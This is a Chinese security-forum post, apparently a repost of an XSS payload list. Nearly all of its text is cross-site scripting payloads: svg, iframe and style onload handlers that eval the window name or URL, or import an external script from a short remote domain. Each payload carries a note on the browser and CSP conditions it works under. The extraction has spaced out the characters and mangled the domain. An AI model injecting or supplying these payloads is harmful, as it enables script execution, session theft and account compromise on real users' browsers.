[28406] 2020-07-12_【神兵利器】XSSPayloads有效载荷工具

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2020-07-12_【神兵利器】XSSPayloads有效载荷工具 X S S   P a y l o a d s O t s   2 0 2 0 - 0 7 - 1 2 C u r r e n t   P a y l o a d s   -  
< ! - -   I f   y o u   c o n t r o l   t h e   n a m e ,   w i l l   w o r k   o n   F i r e f o x   i n   a n y   c o n t e x t ,   w i l l   f a i l   i n   c h r o m i u m   i n   D O M   - - > < s v g / o n l o a d = e v a l ( n a m e ) > < ! - -   I f   y o u   c o n t r o l   t h e   U R L ,   S a f a r i - o n l y   - - > < i f r a m e / o n l o a d = w r i t e ( U R L ) > < ! - -   I f   y o u   c o n t r o l   t h e   U R L   - - > < s v g / o n l o a d = e v a l ( ` ' ` + U R L ) > < ! - -   I f   y o u   c o n t r o l l   t h e   n a m e ,   b u t   u n s a f e - e v a l   n o t   e n a b l e d   - - > < s v g / o n l o a d = l o c a t i o n = n a m e > < ! - -   J u s t   a   c a s u a l   s c r i p t   - - > < s c r i p t / s r c = / / NJ . > < / s c r i p t > < ! - -   I f   y o u   c o n t r o l   t h e   n a m e   o f   t h e   w i n d o w   - - > < i f r a m e / o n l o a d = s r c = t o p . n a m e > < ! - -   I f   y o u   c o n t r o l   t h e   U R L   - - > < i f r a m e / o n l o a d = e v a l ( ' ` ' + U R L ) > < ! - -   I f   n u m b e r   o f   i f r a m e s   o n   t h e   p a g e   i s   c o n s t a n t   - - > < i f r a m e / o n l o a d = s r c = t o p [ 0 ] . n a m e + / NJ . ? / > < ! - -   f o r   F i r e f o x   o n l y   - - > < i f r a m e / s r c d o c = " < s v g > < s c r i p t / h r e f = / / NJ .   / > " > < ! - -   I f   n u m b e r   o f   i f r a m e s   o n   t h e   p a g e   i s   r a n d o m   - - > < i f r a m e / o n l o a d = s r c = c o n t e n t W i n d o w . n a m e + / NJ . ? / > < ! - -   I f   u n s a f e - i n l i n e   i s   d i s a b l e d   i n   C S P   a n d   e x t e r n a l   s c r i p t s   a l l o w e d   - - > < i f r a m e / s r c d o c = " < s c r i p t / s r c = / / NJ . > < / s c r i p t > " > < ! - -   I f   i n l i n e   s t y l e s   a r e   a l l o w e d   - - > < s t y l e / o n l o a d = e v a l ( n a m e ) > < ! - -   I f   i n l i n e   s t y l e s   a r e   a l l o w e d ,   S a f a r i   o n l y   - - > < s t y l e / o n l o a d = w r i t e ( U R L ) > < ! - -   I f   i n l i n e   s t y l e s   a r e   a l l o w e d   a n d   t h e   U R L   c a n   b e   c o n t r o l l e d   - - > < s t y l e / o n l o a d = e v a l ( ` ' ` + U R L ) > < ! - -   I f   i n l i n e   s t y l e s   a r e   b l o c k e d   - - > < s t y l e / o n e r r o r = e v a l ( n a m e ) > < ! - -   U s e s   e x t e r n a l   s c r i p t   a s   i m p o r t ,   d o e s n ' t   w o r k   i n   i n n e r H T M L   u n l e s s   F i r e f o x   - - > < ! - -   T h e   P o C   o n l y   w o r k s   o n   h t t p s   a n d   C h r o m e ,   b e c a u s e   NJ .   c h e c k s   f o r   S e c - F e t c h - D e s t   h e a d e r   - - > < s v g / o n l o a d = i m p o r t ( / NJ . / ) > < ! - -   U s e s   e x t e r n a l   s c r i p t   a s   i m p o r t ,     t r i g g e r s   i f   i n l i n e   s t y l e s   a r e   a l l o w e d . < ! - -   T h e   P o C   o n l y   w o r k s   o n   h t t p s   a n d   C h r o m e ,   b e c a u s e   NJ .   c h e c k s   f o r   S e c - F e t c h - D e s t   h e a d e r   - - > < s t y l e / o n l o a d = i m p o r t ( / NJ . / ) > < ! - -   U s e s   e x t e r n a l   s c r i p t   a s   i m p o r t   - - > < ! - -   T h e   P o C   o n l y   w o r k s   o n   h t t p s   a n d   C h r o m e ,   b e c a u s e   NJ .   c h e c k s   f o r   S e c - F e t c h - D e s t   h e a d e r   - - > < i f r a m e / o n l o a d = i m p o r t ( / NJ . / ) >

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则